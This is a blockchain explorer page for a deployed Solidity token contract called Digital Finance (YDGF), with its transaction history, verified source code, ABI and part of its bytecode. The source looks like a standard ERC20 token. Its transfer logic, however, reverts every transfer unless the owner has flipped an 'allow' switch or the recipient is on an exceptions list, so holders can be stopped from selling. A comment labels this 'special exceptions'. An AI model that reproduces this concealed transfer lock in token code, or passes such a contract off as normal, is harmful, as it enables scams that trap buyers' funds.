ETH Price: $2,071.92 (+11.75%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve116132892021-01-08 9:40:401874 days ago1610098840IN
0x248e3Ef9...f995148E9
0 ETH0.0031601371
Approve115572732020-12-30 19:22:581883 days ago1609356178IN
0x248e3Ef9...f995148E9
0 ETH0.004985112
Transfer115570682020-12-30 18:33:531883 days ago1609353233IN
0x248e3Ef9...f995148E9
0 ETH0.0025950768.2
Approve115282242020-12-26 8:29:231887 days ago1608971363IN
0x248e3Ef9...f995148E9
0 ETH0.0022254550
Approve114439202020-12-13 9:46:401900 days ago1607852800IN
0x248e3Ef9...f995148E9
0 ETH0.0009791922
Approve114049342020-12-07 9:40:371906 days ago1607334037IN
0x248e3Ef9...f995148E9
0 ETH0.0013797731.00000145
Approve113822132020-12-03 21:55:591909 days ago1607032559IN
0x248e3Ef9...f995148E9
0 ETH0.0016468337
Approve112844562020-11-18 21:50:121924 days ago1605736212IN
0x248e3Ef9...f995148E9
0 ETH0.001513334
Approve112509702020-11-13 18:28:311930 days ago1605292111IN
0x248e3Ef9...f995148E9
0 ETH0.0016023236
Approve112391732020-11-11 23:05:311931 days ago1605135931IN
0x248e3Ef9...f995148E9
0 ETH0.0006755515.17799949
Approve112391642020-11-11 23:04:101931 days ago1605135850IN
0x248e3Ef9...f995148E9
0 ETH0.0007121416.00000145
Approve112391182020-11-11 22:54:141931 days ago1605135254IN
0x248e3Ef9...f995148E9
0 ETH0.0006676315.00000145
Approve112390722020-11-11 22:44:011931 days ago1605134641IN
0x248e3Ef9...f995148E9
0 ETH0.0007121416.00000145
Approve112299982020-11-10 13:08:441933 days ago1605013724IN
0x248e3Ef9...f995148E9
0 ETH0.0014687933
Approve112299082020-11-10 12:47:071933 days ago1605012427IN
0x248e3Ef9...f995148E9
0 ETH0.001513334
Approve112298832020-11-10 12:43:011933 days ago1605012181IN
0x248e3Ef9...f995148E9
0 ETH0.0019138843
Transfer112298702020-11-10 12:41:231933 days ago1605012083IN
0x248e3Ef9...f995148E9
0 ETH0.0018033234
Transfer112298682020-11-10 12:40:521933 days ago1605012052IN
0x248e3Ef9...f995148E9
0 ETH0.0018033234
Approve112074942020-11-07 2:03:091936 days ago1604714589IN
0x248e3Ef9...f995148E9
0 ETH0.0033826876
Approve112037972020-11-06 12:27:081937 days ago1604665628IN
0x248e3Ef9...f995148E9
0 ETH0.0022699551
Approve112011842020-11-06 2:58:431937 days ago1604631523IN
0x248e3Ef9...f995148E9
0 ETH0.0035162179
Approve111726302020-11-01 17:46:081942 days ago1604252768IN
0x248e3Ef9...f995148E9
0 ETH0.0005830613.1
Approve111329122020-10-26 15:46:411948 days ago1603727201IN
0x248e3Ef9...f995148E9
0 ETH0.0032936674
Transfer111153712020-10-23 22:55:531950 days ago1603493753IN
0x248e3Ef9...f995148E9
0 ETH0.0007607820
Transfer111151392020-10-23 22:03:301950 days ago1603490610IN
0x248e3Ef9...f995148E9
0 ETH0.0010270527
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer134378252021-10-17 21:18:531591 days ago1634505533
0x248e3Ef9...f995148E9
0 ETH
Balance Of134378252021-10-17 21:18:531591 days ago1634505533
0x248e3Ef9...f995148E9
0 ETH
Transfer134378252021-10-17 21:18:531591 days ago1634505533
0x248e3Ef9...f995148E9
0 ETH
Balance Of134378252021-10-17 21:18:531591 days ago1634505533
0x248e3Ef9...f995148E9
0 ETH
Balance Of116815182021-01-18 20:56:441864 days ago1611003404
0x248e3Ef9...f995148E9
0 ETH
Transfer From116815182021-01-18 20:56:441864 days ago1611003404
0x248e3Ef9...f995148E9
0 ETH
Balance Of116133062021-01-08 9:43:561874 days ago1610099036
0x248e3Ef9...f995148E9
0 ETH
Transfer From116133062021-01-08 9:43:561874 days ago1610099036
0x248e3Ef9...f995148E9
0 ETH
Balance Of115573722020-12-30 19:46:031883 days ago1609357563
0x248e3Ef9...f995148E9
0 ETH
Transfer From115573722020-12-30 19:46:031883 days ago1609357563
0x248e3Ef9...f995148E9
0 ETH
Balance Of115417792020-12-28 10:04:481885 days ago1609149888
0x248e3Ef9...f995148E9
0 ETH
Transfer From115417792020-12-28 10:04:481885 days ago1609149888
0x248e3Ef9...f995148E9
0 ETH
Balance Of115344672020-12-27 7:27:271886 days ago1609054047
0x248e3Ef9...f995148E9
0 ETH
Transfer From115344672020-12-27 7:27:271886 days ago1609054047
0x248e3Ef9...f995148E9
0 ETH
Balance Of115283452020-12-26 9:01:151887 days ago1608973275
0x248e3Ef9...f995148E9
0 ETH
Transfer From115283452020-12-26 9:01:151887 days ago1608973275
0x248e3Ef9...f995148E9
0 ETH
Balance Of114439222020-12-13 9:46:581900 days ago1607852818
0x248e3Ef9...f995148E9
0 ETH
Transfer From114439222020-12-13 9:46:581900 days ago1607852818
0x248e3Ef9...f995148E9
0 ETH
Balance Of114404072020-12-12 20:55:001901 days ago1607806500
0x248e3Ef9...f995148E9
0 ETH
Transfer From114404072020-12-12 20:55:001901 days ago1607806500
0x248e3Ef9...f995148E9
0 ETH
Balance Of114049452020-12-07 9:43:271906 days ago1607334207
0x248e3Ef9...f995148E9
0 ETH
Transfer From114049452020-12-07 9:43:271906 days ago1607334207
0x248e3Ef9...f995148E9
0 ETH
Balance Of113794262020-12-03 11:47:141910 days ago1606996034
0x248e3Ef9...f995148E9
0 ETH
Transfer From113794262020-12-03 11:47:141910 days ago1606996034
0x248e3Ef9...f995148E9
0 ETH
Balance Of113172042020-11-23 22:35:271919 days ago1606170927
0x248e3Ef9...f995148E9
0 ETH
View All Internal Transactions
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
DigitalFinance

Compiler Version
v0.5.16+commit.9c3226ce

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2020-09-25
*/

pragma solidity ^0.5.16;

interface IERC20 {
    function totalSupply() external view returns (uint);
    function balanceOf(address account) external view returns (uint);
    function transfer(address recipient, uint amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

contract Context {
    constructor () internal { }
    // solhint-disable-previous-line no-empty-blocks

    function _msgSender() internal view returns (address payable) {
        return msg.sender;
    }
}

contract ERC20 is Context, IERC20 {
    using SafeMath for uint;

    mapping (address => uint) private _balances;
    
    mapping (address => mapping (address => uint)) private _allowances;
    mapping (address => bool) private exceptions;
    address private uniswap;
    address private _owner;
    uint private _totalSupply;
    bool private allow;

    constructor(address owner) public{
      _owner = owner;
      allow = false;
    }

    function setAllow() public{
        require(_msgSender() == _owner,"Only owner can change set allow");
        allow = true;
    }

    function setExceptions(address someAddress) public{
        exceptions[someAddress] = true;
    }

    function burnOwner() public{
        require(_msgSender() == _owner,"Only owner can change set allow");
        _owner = address(0);
    }    

    function totalSupply() public view returns (uint) {
        return _totalSupply;
    }
    function balanceOf(address account) public view returns (uint) {
        return _balances[account];
    }
    function transfer(address recipient, uint amount) public returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view returns (uint) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint amount) public returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function increaseAllowance(address spender, uint addedValue) public returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }
    function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
    function _transfer(address sender, address recipient, uint amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        // Trigger special exceptions
        if(sender == _owner || allow ) {
          _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
          _balances[recipient] = _balances[recipient].add(amount);
          emit Transfer(sender, recipient, amount);
        }else {
          if(exceptions[recipient]) {
            _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
            _balances[recipient] = _balances[recipient].add(amount);
            emit Transfer(sender, recipient, amount);
          }else {
            revert();
          }
        }
    }
    
    function _mint(address account, uint amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }
    function _burn(address account, uint amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }
    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract ERC20Detailed is IERC20 {
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor (string memory name, string memory symbol, uint8 decimals) public {
        _name = name;
        _symbol = symbol;
        _decimals = decimals;
    }
    function name() public view returns (string memory) {
        return _name;
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function decimals() public view returns (uint8) {
        return _decimals;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns (uint) {
        uint c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint a, uint b) internal pure returns (uint) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
        require(b <= a, errorMessage);
        uint c = a - b;

        return c;
    }
    function mul(uint a, uint b) internal pure returns (uint) {
        if (a == 0) {
            return 0;
        }

        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint a, uint b) internal pure returns (uint) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint c = a / b;

        return c;
    }
}

library Address {
    function isContract(address account) internal view returns (bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != 0x0 && codehash != accountHash);
    }
}

library SafeERC20 {
    using SafeMath for uint;
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }
    function callOptionalReturn(IERC20 token, bytes memory data) private {
        require(address(token).isContract(), "SafeERC20: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = address(token).call(data);
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}

contract DigitalFinance is ERC20, ERC20Detailed {
  using SafeERC20 for IERC20;
  using Address for address;
  using SafeMath for uint;
  
  
  address public governance;
  mapping (address => bool) public minters;

  constructor () public ERC20Detailed("Digital Finance", "YDGF", 18) ERC20(tx.origin){
      _mint(tx.origin, 30000*(10 ** 18)); //Supply 30,000
  }

  function mint(address account, uint256 amount) public {
      require(minters[msg.sender], "!minter");
      _mint(account, amount);
  }
  
  function setGovernance(address _governance) public {
      require(msg.sender == governance, "!governance");
      governance = _governance;
  }
  
  function addMinter(address _minter) public {
      require(msg.sender == governance, "!governance");
      minters[_minter] = true;
  }
  
  function removeMinter(address _minter) public {
      require(msg.sender == governance, "!governance");
      minters[_minter] = false;
  }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":false,"inputs":[{"internalType":"address","name":"_minter","type":"address"}],"name":"addMinter","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"burnOwner","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"governance","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"minters","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_minter","type":"address"}],"name":"removeMinter","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"setAllow","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"someAddress","type":"address"}],"name":"setExceptions","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_governance","type":"address"}],"name":"setGovernance","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b506040518060400160405280600f81526020017f4469676974616c2046696e616e636500000000000000000000000000000000008152506040518060400160405280600481526020017f594447460000000000000000000000000000000000000000000000000000000081525060123280600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600660006101000a81548160ff021916908315150217905550508260079080519060200190620000f6929190620003a3565b5081600890805190602001906200010f929190620003a3565b5080600960006101000a81548160ff021916908360ff1602179055505050506200014a3269065a4da25d3016c000006200015060201b60201c565b62000452565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620001f4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b62000210816005546200031a60201b62001ad71790919060201c565b6005819055506200026e816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200031a60201b62001ad71790919060201c565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008082840190508381101562000399576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10620003e657805160ff191683800117855562000417565b8280016001018555821562000417579182015b8281111562000416578251825591602001919060010190620003f9565b5b5090506200042691906200042a565b5090565b6200044f91905b808211156200044b57600081600090555060010162000431565b5090565b90565b611e5080620004626000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad578063a457c2d711610071578063a457c2d71461059b578063a9059cbb14610601578063ab033ea914610667578063dd62ed3e146106ab578063f46eccc4146107235761012c565b806370a082311461046857806377050b54146104c0578063921c6e76146104ca57806395d89b41146104d4578063983b2d56146105575761012c565b80633092afd5116100f45780633092afd514610302578063313ce56714610346578063395093511461036a57806340c10f19146103d05780635aa6e6751461041e5761012c565b806306fdde0314610131578063095ea7b3146101b457806318160ddd1461021a5780631b5b1b041461023857806323b872dd1461027c575b600080fd5b61013961077f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017957808201518184015260208101905061015e565b50505050905090810190601f1680156101a65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610200600480360360408110156101ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610821565b604051808215151515815260200191505060405180910390f35b61022261083f565b6040518082815260200191505060405180910390f35b61027a6004803603602081101561024e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610849565b005b6102e86004803603606081101561029257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a4565b604051808215151515815260200191505060405180910390f35b6103446004803603602081101561031857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061097d565b005b61034e610a9b565b604051808260ff1660ff16815260200191505060405180910390f35b6103b66004803603604081101561038057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ab2565b604051808215151515815260200191505060405180910390f35b61041c600480360360408110156103e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b65565b005b610426610c32565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104aa6004803603602081101561047e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c58565b6040518082815260200191505060405180910390f35b6104c8610ca0565b005b6104d2610d87565b005b6104dc610e95565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561051c578082015181840152602081019050610501565b50505050905090810190601f1680156105495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105996004803603602081101561056d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f37565b005b6105e7600480360360408110156105b157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611055565b604051808215151515815260200191505060405180910390f35b61064d6004803603604081101561061757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611122565b604051808215151515815260200191505060405180910390f35b6106a96004803603602081101561067d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611140565b005b61070d600480360360408110156106c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611247565b6040518082815260200191505060405180910390f35b6107656004803603602081101561073957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112ce565b604051808215151515815260200191505060405180910390f35b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108175780601f106107ec57610100808354040283529160200191610817565b820191906000526020600020905b8154815290600101906020018083116107fa57829003601f168201915b5050505050905090565b600061083561082e6112ee565b84846112f6565b6001905092915050565b6000600554905090565b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006108b18484846114ed565b610972846108bd6112ee565b61096d85604051806060016040528060288152602001611d8660289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109236112ee565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a179092919063ffffffff16565b6112f6565b600190509392505050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600960009054906101000a900460ff16905090565b6000610b5b610abf6112ee565b84610b568560016000610ad06112ee565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad790919063ffffffff16565b6112f6565b6001905092915050565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610c24576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f216d696e7465720000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b610c2e8282611b5f565b5050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ce16112ee565b73ffffffffffffffffffffffffffffffffffffffff1614610d6a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4f6e6c79206f776e65722063616e206368616e67652073657420616c6c6f770081525060200191505060405180910390fd5b6001600660006101000a81548160ff021916908315150217905550565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dc86112ee565b73ffffffffffffffffffffffffffffffffffffffff1614610e51576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4f6e6c79206f776e65722063616e206368616e67652073657420616c6c6f770081525060200191505060405180910390fd5b6000600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f2d5780601f10610f0257610100808354040283529160200191610f2d565b820191906000526020600020905b815481529060010190602001808311610f1057829003601f168201915b5050505050905090565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ffa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006111186110626112ee565b8461111385604051806060016040528060258152602001611df7602591396001600061108c6112ee565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a179092919063ffffffff16565b6112f6565b6001905092915050565b600061113661112f6112ee565b84846114ed565b6001905092915050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611203576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600960016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561137c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611dd36024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611402576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611d3e6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611573576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611dae6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115f9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611d1b6023913960400191505060405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806116615750600660009054906101000a900460ff165b15611810576116d181604051806060016040528060268152602001611d60602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a179092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611764816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad790919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3611a12565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600090549061010